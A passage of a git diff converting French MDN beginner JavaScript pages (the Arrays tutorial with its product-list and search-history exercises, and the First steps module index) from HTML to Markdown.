tableau ; dans notre cas, on sortira de la boucle à l'élément 7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6).</li> - <li>Afficher chaque élément sur la console de l'explorateur avec<code> <a href="/fr/docs/Web/API/Console/log">console.log()</a></code>.</li> -</ol> +1. Voyons `push()` d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : -<h2 id="Quelques_méthodes_utiles_pour_les_tableaux">Quelques méthodes utiles pour les tableaux</h2> + ```js + myArray.push('Cardiff'); + myArray; + myArray.push('Bradford', 'Brighton'); + myArray; + ``` -<p>Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux.</p> +2. La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : -<h3 id="Conversions_entre_chaînes_et_tableaux">Conversions entre chaînes et tableaux</h3> + ```js + let newLength = myArray.push('Bristol'); + myArray; + newLength; + ``` -<p>Souvent, vous serez confronté à des données brutes contenues dans une longue chaîne de caractères, et vous voudrez peut-être en extraire les éléments utiles sous une forme plus pratique pour en faire quelque chose, comme les afficher dans un tableau de données. Pour ce faire, nous pouvons utiliser la méthode {{jsxref ("String. prototype. prototype. split ()","split ()")}}. Dans sa formulation la plus simple, elle prend un seul paramètre, le caractère servant de séparateur ; elle renverra les sous-chaînes entre séparateurs en tant qu'éléments d'un tableau.</p> +3. Supprimer le dernier élément de la liste est très simple : il suffit de lancer `pop()` sur celle‑ci. Essayez : + + ```js + myArray.pop(); + ``` + +4. L'élément supprimé est renvoyé à la fin de l'appel de la méthode. Également : + + ```js + let removedItem = myArray.pop(); + myArray; + removedItem; + ``` + +{{jsxref("Array.prototype.unshift()","unshift()")}} et {{jsxref("Array.prototype.shift()","shift()")}} fonctionnent exactement de la même manière, excepté qu'il travaillent sur la tête du tableau au lieu de la queue. + +1. D'abord `unshift()` — essayez : + + ```js + myArray.unshift('Edinburgh'); + myArray; + ``` + +2. Maintenant `shift()` — essayez ! + + ```js + let removedItem = myArray.shift(); + myArray; + removedItem; + ``` + +## Activité : affichons les produits + +Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici : + +1. Sous le commentaire `// number 1` il y a un certain nombre de chaînes de caractères, chacune précise le nom d'un produit et son prix séparé par deux‑points. Placez‑les dans un tableau ; enregistrez‑le sous le nom `products`. +2. Sur la même ligne que le commentaire `// number 2` se trouve le début d'une boucle. Dans cette ligne nous avons actuellement `i <= 0`, test conditionnel qui fait que la [ boucle](/fr/docs/Learn/JavaScript/First_steps/A_first_splash#loops) stoppe immédiatement, car ce test dit « stopper dès que `i` est inférieur ou égal à 0 » et `i` part de 0. Remplacez ce test par un qui n'arrêtera pas la boucle tant que `i` sera inférieur à la taille du tableau `products`. +3. Au dessous du commentaire `// number 3` nous voudrions que vous écriviez une ligne de code qui scinde l'élément courant du tableau (`nom:prix`) en deux éléments distincts, un contenant uniquement le nom, l'autre uniquement le prix. Si vous nous ne savez pas trop comment faire, revoyez l'article relatif aux [Méthodes utiles pour les chaînes de caractères](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) pour vous aider, ou même mieux, regardez la section {{anch("Converting between strings and arrays")}} de cet article. +4. En plus des lignes de code ci‑dessus, vous aurez aussi à convertir les prix de chaîne de caractères en chiffres. Si vous ne vous souvenez pas comment faire, revoyez le [premier article à propos des chaînes](/fr/docs/Learn/JavaScript/First_steps/Strings#numbers_versus_strings). +5. Il y a une variable nommée `total` créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous `// number 4`) ajoutez une ligne qui ajoute à ce total le prix de l'article courant à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un [opérateur d'assignation](/fr/docs/Learn/JavaScript/First_steps/Math#assignment_operators) pour faire cela ;-). +6. Nous souhaitons que vous modifiez la ligne au‑dessous de `// number 5` de sorte que la variable `itemText` soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière. + +```html hidden +<div class="output" style="min-height: 150px;"> + +<ul> + +</ul> + +<p></p> -<div class="note"> -<p><strong>Note :</strong> D'accord, techniquement parlant c'est une méthode de chaîne, et non une méthode de tableau, mais nous la mettons dans le chapitre des tableaux car elle est bien à sa place ici.</p> </div> -<ol> - <li>Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : - <pre class="brush: js">let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';</pre> - </li> - <li>Scindons‑la à chaque virgule : - <pre class="brush: js">let myArray = myData.split(','); -myArray;</pre> - </li> - <li>Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : - <pre class="brush: js">myArray.length; -myArray[0]; // le premier élément du tableau -myArray[1]; // le deuxième élément du tableau -myArray[myArray.length-1]; // le dernier élément du tableau</pre> - </li> - <li>Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : - <pre class="brush: js">let myNewString = myArray.join(','); -myNewString;</pre> - </li> - <li>Une autre façon de convertir un tableau en chaîne consiste à se servir de la méthode {{jsxref("Array.prototype.toString()","toString()")}}. <code>toString()</code> est plus simple au plan des arguments que <code>join()</code>, car elle ne prend pas de paramètre, mais elle est plus limitée. Avec <code>join()</code> vous pouvez diversifier les séparateurs (essayez de lancer la commande du point 4 avec un caractère autre que la virgule). - <pre class="brush: js">let dogNames = ["Rocket","Flash","Bella","Slugger"]; -dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre> - </li> -</ol> - -<h3 id="Ajout_et_suppression_déléments_de_tableau">Ajout et suppression d'éléments de tableau</h3> - -<p>Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau <code>myArray</code> dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau :</p> - -<pre class="brush: js">let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre> - -<p>Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous pouvez respectivement utiliser {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}}.</p> - -<ol> - <li>Voyons <code>push()</code> d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : - - <pre class="brush: js">myArray.push('Cardiff'); -myArray; -myArray.push('Bradford', 'Brighton'); -myArray; -</pre> - </li> - <li>La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : - <pre class="brush: js">let newLength = myArray.push('Bristol'); -myArray; -newLength;</pre> - </li> - <li>Supprimer le dernier élément de la liste est très simple : il suffit de lancer <code>pop()</code> sur celle‑ci. Essayez : - <pre class="brush: js">myArray.pop();</pre> - </li> - <li>L'élément supprimé est renvoyé à la fin de l'appel de la méthode. Également : - <pre class="brush: js">let removedItem = myArray.pop(); -myArray; -removedItem;</pre> - </li> -</ol> - -<p>{{jsxref("Array.prototype.unshift()","unshift()")}} et {{jsxref("Array.prototype.shift()","shift()")}} fonctionnent exactement de la même manière, excepté qu'il travaillent sur la tête du tableau au lieu de la queue.</p> - -<ol> - <li>D'abord <code>unshift()</code> — essayez : - - <pre class="brush: js">myArray.unshift('Edinburgh'); -myArray;</pre> - </li> - <li>Maintenant <code>shift()</code> — essayez ! - <pre class="brush: js">let removedItem = myArray.shift(); -myArray; -removedItem;</pre> - </li> -</ol> - -<h2 id="Activité_affichons_les_produits">Activité : affichons les produits</h2> - -<p>Revenons à l'exemple que nous avons décrit plus haut — afficher les noms des produits et leurs prix pour un envoi, puis faire le total des prix et l'afficher à la fin de la liste. Dans l'exemple modifiable ci‑dessous, il y a des commentaires numérotés — chacun d'entre eux marque l'emplacement où vous devez ajouter quelque chose au code. Voici :</p> - -<ol> - <li>Sous le commentaire <code>// number 1</code> il y a un certain nombre de chaînes de caractères, chacune précise le nom d'un produit et son prix séparé par deux‑points. Placez‑les dans un tableau ; enregistrez‑le sous le nom <code>products</code>.</li> - <li>Sur la même ligne que le commentaire <code>// number 2</code> se trouve le début d'une boucle. Dans cette ligne nous avons actuellement <code>i <= 0</code>, test conditionnel qui fait que la <a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash#loops"> boucle</a> stoppe immédiatement, car ce test dit « stopper dès que <code>i</code> est inférieur ou égal à 0 » et <code>i</code> part de 0. Remplacez ce test par un qui n'arrêtera pas la boucle tant que <code>i</code> sera inférieur à la taille du tableau <code>products</code>.</li> - <li>Au dessous du commentaire <code>// number 3</code> nous voudrions que vous écriviez une ligne de code qui scinde l'élément courant du tableau (<code>nom:prix</code>) en deux éléments distincts, un contenant uniquement le nom, l'autre uniquement le prix. Si vous nous ne savez pas trop comment faire, revoyez l'article relatif aux <a href="/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods">Méthodes utiles pour les chaînes de caractères</a> pour vous aider, ou même mieux, regardez la section {{anch("Converting between strings and arrays")}} de cet article.</li> - <li>En plus des lignes de code ci‑dessus, vous aurez aussi à convertir les prix de chaîne de caractères en chiffres. Si vous ne vous souvenez pas comment faire, revoyez le <a href="/fr/docs/Learn/JavaScript/First_steps/Strings#numbers_versus_strings">premier article à propos des chaînes</a>.</li> - <li>Il y a une variable nommée <code>total</code> créée et initialisée à la valeur de 0 en tête du code. Dans la boucle (sous <code>// number 4</code>) ajoutez une ligne qui ajoute à ce total le prix de l'article courant à chaque itération de la boucle, de sorte que à la fin du code le prix total soit correctement inscrit sur l'envoi. Vous pourriez avoir besoin d'un <a href="/fr/docs/Learn/JavaScript/First_steps/Math#assignment_operators">opérateur d'assignation</a> pour faire cela ;-).</li> - <li>Nous souhaitons que vous modifiez la ligne au‑dessous de <code>// number 5</code> de sorte que la variable <code>itemText</code> soit égale à « nom actuel de l'élément — $prix actuel de l'élément », par exemple « Shoes — $23.99 » dans chaque cas, de façon à ce qu'une information correcte soit affichée sur l'envoi. Il s'agit d'une simple concaténation de chaînes de caractères, chose qui doit vous être familière.</li> -</ol> - -<pre class="brush: html hidden"><div class="output" style="min-height: 150px;"> - -<ul> - -</ul> - -<p></p> - -</div> - -<textarea id="code" class="playable-code" style="height: 370px;"> +<textarea id="code" class="playable-code" style="height: 370px;"> var list = document.querySelector('.output ul'); var totalBox = document.querySelector('.output p'); var total = 0; @@ -335,7 +367,7 @@ totalBox.textContent = ''; 'Pantalons:31.99' 'Chaussures:23.99'; -for (var i = 0; i <= 0; i++) { // number 2 +for (var i = 0; i <= 0; i++) { // number 2 // number 3 // number 4 @@ -349,15 +381,16 @@ for (var i = 0; i <= 0; i++) { // number 2 } totalBox.textContent = 'Total: $' + total.toFixed(2); -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -376,42 +409,39 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i < products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Activité_affichons_les_produits', '100%', 600) }}</p> +{{ EmbedLiveSample('Activité_affichons_les_produits', '100%', 600) }} -<h2 id="Activité_Top_5_des_recherches">Activité : Top 5 des recherches</h2> +## Activité : Top 5 des recherches -<p>Une bonne utilisation des méthodes de tableaux comme {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}} permet de conserver un enregistrement des éléments actuellement actifs dans une application web. Dans une scène animée, par exemple, vous pouvez avoir un tableau d'objets représentant les graphiques d'arrière-plan actuellement affichés, et vous pouvez n'en vouloir que 50 à la fois, pour des raisons de performance ou d'encombrement. Chaque fois que de nouveaux objets sont créés et ajoutés au tableau, les plus anciens peuvent être supprimés du tableau pour n'en conserver que le nombre voulu.</p> +Une bonne utilisation des méthodes de tableaux comme {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}} permet de conserver un enregistrement des éléments actuellement actifs dans une application web. Dans une scène animée, par exemple, vous pouvez avoir un tableau d'objets représentant les graphiques d'arrière-plan actuellement affichés, et vous pouvez n'en vouloir que 50 à la fois, pour des raisons de performance ou d'encombrement. Chaque fois que de nouveaux objets sont créés et ajoutés au tableau, les plus anciens peuvent être supprimés du tableau pour n'en conserver que le nombre voulu. -<p>Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés.</p> +Dans cet exemple nous allons montrer une utilisation beaucoup plus simple — ici, nous allons vous fournir un site de recherche fictif, avec une boîte de recherche. Voici l'idée : quand un terme est entré dans la boîte de recherche, les 5 précédents termes entrés sont affichés dans la liste. Quand le nombre de termes dépasse 5, le dernier terme est supprimé chaque fois qu'un nouveau terme est ajouté ; ainsi, le 5 termes précédents sont toujours affichés. -<div class="note"> -<p><strong>Note :</strong> Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple.</p> -</div> +> **Note :** Dans une application réelle avec boîte de recherche, vous pourriez vraisemblablement cliquer sur un des termes de la liste pour revenir à la recherche précédente, et l'application afficherait les vrais résultats ! Mais pour le moment nous en resterons à quelque chose de simple. -<p>Pour terminer l'application, il vous faut :</p> +Pour terminer l'application, il vous faut : -<ol> - <li>Ajouter une ligne sous le commentaire <code>// number 1</code> pour ajouter la valeur qui vient d'être saisie dans la boîte au début du tableau. Cette valeur est récupérée avec <code>searchInput.value</code>.</li> - <li>Ajouter une ligne sous le commentaire <code>// number 2</code> pour supprimer la valeur en fin de liste du tableau.</li> -</ol> +1. Ajouter une ligne sous le commentaire `// number 1` pour ajouter la valeur qui vient d'être saisie dans la boîte au début du tableau. Cette valeur est récupérée avec `searchInput.value`. +2. Ajouter une ligne sous le commentaire `// number 2` pour supprimer la valeur en fin de liste du tableau. -<pre class="brush: html hidden"><div class="output" style="min-height: 150px;"> +```html hidden +<div class="output" style="min-height: 150px;"> -<input type="text"><button>Search</button> +<input type="text"><button>Search</button> -<ul> +<ul> -</ul> +</ul> -</div> +</div> -<textarea id="code" class="playable-code" style="height: 370px;"> +<textarea id="code" class="playable-code" style="height: 370px;"> var list = document.querySelector('.output ul'); var searchInput = document.querySelector('.output input'); var searchBtn = document.querySelector('.output button'); @@ -430,7 +460,7 @@ searchBtn.onclick = function() { list.innerHTML = ''; // loop through the array, and display all the search terms in the list - for (var i = 0; i < myHistory.length; i++) { + for (var i = 0; i < myHistory.length; i++) { itemText = myHistory[i]; var listItem = document.createElement('li'); listItem.textContent = itemText; @@ -438,7 +468,7 @@ searchBtn.onclick = function() { } // If the array length is 5 or more, remove the oldest search term - if (myHistory.length >= 5) { + if (myHistory.length >= 5) { // number 2 } @@ -448,15 +478,16 @@ searchBtn.onclick = function() { searchInput.focus(); } } -</textarea> +</textarea> -<div class="playable-buttons"> - <input id="reset" type="button" value="Reset"> - <input id="solution" type="button" value="Show solution"> -</div> -</pre> +<div class="playable-buttons"> + <input id="reset" type="button" value="Reset"> + <input id="solution" type="button" value="Show solution"> +</div> +``` -<pre class="brush: js hidden">var textarea = document.getElementById('code'); +```js hidden +var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var code = textarea.value; @@ -475,43 +506,39 @@ solution.addEventListener('click', function() { updateCode(); }); -var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; +var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i < myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length >= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}'; textarea.addEventListener('input', updateCode); window.addEventListener('load', updateCode); -</pre> +``` -<p>{{ EmbedLiveSample('Activité_Top_5_des_recherches', '100%', 600) }}</p> +{{ EmbedLiveSample('Activité_Top_5_des_recherches', '100%', 600) }} -<h2 id="Testez_vos_compétences_!">Testez vos compétences !</h2> +## Testez vos compétences ! -<p>Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir <a href="/fr/docs/Learn/JavaScript/First_steps/Test_your_skills:_Arrays">Test de compétences : les tableaux</a>.</p> +Vous avez atteint la fin de cet article, mais vous souvenez-vous des informations les plus importantes ? Vous pouvez trouver d'autres tests pour vérifier que vous avez bien fixé ces connaissances avant de continuer — voir [Test de compétences : les tableaux](/fr/docs/Learn/JavaScript/First_steps/Test_your_skills:_Arrays). -<h2 id="Conclusion">Conclusion</h2> +## Conclusion -<p>Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module !</p> +Après la lecture de cet article, vous conviendrez que les tableaux semblent fichtrement utiles ; vous les verrez un peu partout en JavaScript, souvent associés à des boucles pour appliquer la même action à chaque élément du tableau. Nous vous indiquerons toutes les bases utiles à savoir à propos des boucles dans le prochain module, mais pour l'instant, félicitations : prenez une pause bien méritée ; vous avez étudié tous les articles du module ! -<p>La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu.</p> +La seule chose restant à faire est de procéder à l'évaluation de ce module pour tester votre compréhension de son contenu. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/JavaScript/Guide/Indexed_collections">Collections indexées</a> — un guide de niveau avancé à propos des tableaux et de leurs cousins, les tableaux typés.</li> - <li>{{jsxref("Array")}} — la page de référence de l'objet <code>Array</code> — pour un guide de référence détaillé à propos des fonctionnalités discutées dans cette page, et plus encore.</li> -</ul> +- [Collections indexées](/fr/docs/Web/JavaScript/Guide/Indexed_collections) — un guide de niveau avancé à propos des tableaux et de leurs cousins, les tableaux typés. +- {{jsxref("Array")}} — la page de référence de l'objet `Array` — pour un guide de référence détaillé à propos des fonctionnalités discutées dans cette page, et plus encore. -<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</p> +{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> -</ul> +- [What is JavaScript?](/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript) +- [A first splash into JavaScript](/fr/docs/Learn/JavaScript/First_steps/A_first_splash) +- [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong) +- [Storing the information you need — Variables](/fr/docs/Learn/JavaScript/First_steps/Variables) +- [Basic math in JavaScript — numbers and operators](/fr/docs/Learn/JavaScript/First_steps/Math) +- [Handling text — strings in JavaScript](/fr/docs/Learn/JavaScript/First_steps/Strings) +- [Useful string methods](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods) +- [Arrays](/fr/docs/Learn/JavaScript/First_steps/Arrays) +- [Assessment: Silly story generator](/fr/docs/Learn/JavaScript/First_steps/Silly_story_generator) diff --git a/files/fr/learn/javascript/first_steps/index.md b/files/fr/learn/javascript/first_steps/index.md index 8e093bebfb..03d1d7d9e4 100644 --- a/files/fr/learn/javascript/first_steps/index.md +++ b/files/fr/learn/javascript/first_steps/index.md @@ -15,56 +15,42 @@ tags: - Variables translation_of: Learn/JavaScript/First_steps --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Dans notre premier module consacré à JavaScript, nous allons tout d'abord répondre à des questions fondamentales comme « qu'est-ce que JavaScript ? », « à quoi ressemble-t-il ? » et « de quoi est-il capable ? ». Nous vous accompagnerons ensuite dans votre première expérience pratique consistant à écrire du code JavaScript. Après cela, nous examinerons en détail quelques briques de base, telles que les variables, les chaînes de caractères, les nombres, et les tableaux.</p> +Dans notre premier module consacré à JavaScript, nous allons tout d'abord répondre à des questions fondamentales comme « qu'est-ce que JavaScript ? », « à quoi ressemble-t-il ? » et « de quoi est-il capable ? ». Nous vous accompagnerons ensuite dans votre première expérience pratique consistant à écrire du code JavaScript. Après cela, nous examinerons en détail quelques briques de base, telles que les variables, les chaînes de caractères, les nombres, et les tableaux. -<h2 id="Prérequis"><strong>Prérequis</strong></h2> +## **Prérequis** -<p>Avant d'entamer ce module, vous n'avez besoin d'aucune connaissance préalable en JavaScript, mais vous devriez être familier avec HTML et CSS. Nous vous conseillons de lire les modules suivants avant d'aller plus loin :</p> +Avant d'entamer ce module, vous n'avez besoin d'aucune connaissance préalable en JavaScript, mais vous devriez être familier avec HTML et CSS. Nous vous conseillons de lire les modules suivants avant d'aller plus loin : -<ul> - <li><a href="/fr/Apprendre/HTML/Introduction_%C3%A0_HTML">Commencer avec le Web</a> (qui inclut une <a href="/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics">présentation basique de JavaScript</a>).</li> - <li><a href="/fr/docs/Web/Guide/HTML/Introduction">Introduction au langage HTML</a>.</li> - <li><a href="/fr/Apprendre/CSS/Introduction_%C3%A0_CSS">Introduction au langage CSS</a>.</li> -</ul> +- [Commencer avec le Web](/fr/Apprendre/HTML/Introduction_%C3%A0_HTML) (qui inclut une [présentation basique de JavaScript](/fr/docs/Learn/Getting_started_with_the_web/JavaScript_basics)). +- [Introduction au langage HTML](/fr/docs/Web/Guide/HTML/Introduction). +- [Introduction au langage CSS](/fr/Apprendre/CSS/Introduction_%C3%A0_CSS). -<div class="note"> -<p><strong>Note :</strong> Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez tester la plupart des exemples en ligne grâce à des outils comme <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p> -</div> +> **Note :** Si vous travaillez depuis un ordinateur, une tablette ou depuis un autre appareil sur lequel vous ne pouvez pas créer vos propres fichiers, vous pourrez tester la plupart des exemples en ligne grâce à des outils comme [JSBin](http://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). -<h2 id="Guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/What_is_JavaScript">Qu'est-ce que JavaScript ?</a></dt> - <dd>Bienvenue dans le cours de JavaScript pour débutants proposé par MDN ! Dans ce premier article, nous aborderons JavaScript sous un angle général afin de comprendre ce qu'il est et à quoi il sert. Nous nous assurerons ici que vous cernez bien le but premier du langage.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/A_first_splash">Notre premier code JavaScript</a></dt> - <dd> - <p>Maintenant que vous en savez un peu plus sur la partie théorique de JavaScript et sur ce que vous pouvez réaliser avec, nous allons poursuivre avec un cours accéléré sur les fonctionnalités de base du langage par le biais d'un tutoriel axé sur la pratique. Vous développerez ici, pas à pas, un jeu simple consistant à faire deviner un nombre.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/What_went_wrong">Qu'est-ce qui n'a pas fonctionné ? Déboguer du code JavaScript</a></dt> - <dd> - <p>Quand vous développiez le jeu de devinette dans le cadre du tutoriel précédent, vous avez pu constater que notre programme ne fonctionnait pas. Pas de panique — cet article est là pour vous éviter de vous arracher les cheveux sur de tels problèmes en vous donnant quelques conseils simples sur la manière de trouver et résoudre les erreurs dans vos programmes JavaScript.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/Variables">Stocker les informations dont vous avez besoin — les variables</a></dt> - <dd> - <p>Après avoir lu les articles précédents, vous devriez maintenant mieux comprendre ce qu'est JavaScript, ce qu'il peut faire pour vous, comment l'utiliser de pair avec d'autres technologies du Web, et à quoi ressemblent ses principales fonctionnalités d'un point de vue global. Dans cet article, nous allons aborder les véritables fondements, en présentant l'une des pierres angulaires du langage : les variables.</p> - </dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/Math">Mathématiques de base en JavaScript — nombres et opérateurs</a></dt> - <dd>À ce stade du cours, nous allons parler de mathématiques en JavaScript, à savoir comment combiner des opérateurs arithmétiques avec d'autres fonctionnalités du langage pour arriver à nos fins.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/Strings">Gérer du texte — les chaînes de caractères en JavaScript</a></dt> - <dd>Attaquons-nous maintenant aux chaînes de caractères — le nom savant désignant en programmation des portions de texte. Dans cet article, nous allons voir les bases que vous devez impérativement connaître lors de votre apprentissage de JavaScript, comme la création de chaînes, l'échappement de caractères et la jonction de plusieurs chaînes.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/methode_chaine_utile">Méthodes utiles pour les chaînes de caractères</a></dt> - <dd>Maintenant que nous avons vu les bases relatives aux chaînes de catactères, passons à la vitesse supérieure et regardons ce que nous pouvons faire de plus poussé avec lesdites chaînes grâce aux méthodes natives, comme par exemple déterminer la longueur d'un texte, joindre et séparer des chaînes, remplacer un caractère par un autre, et bien plus encore.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/First_steps/tableaux">Les tableaux</a></dt> - 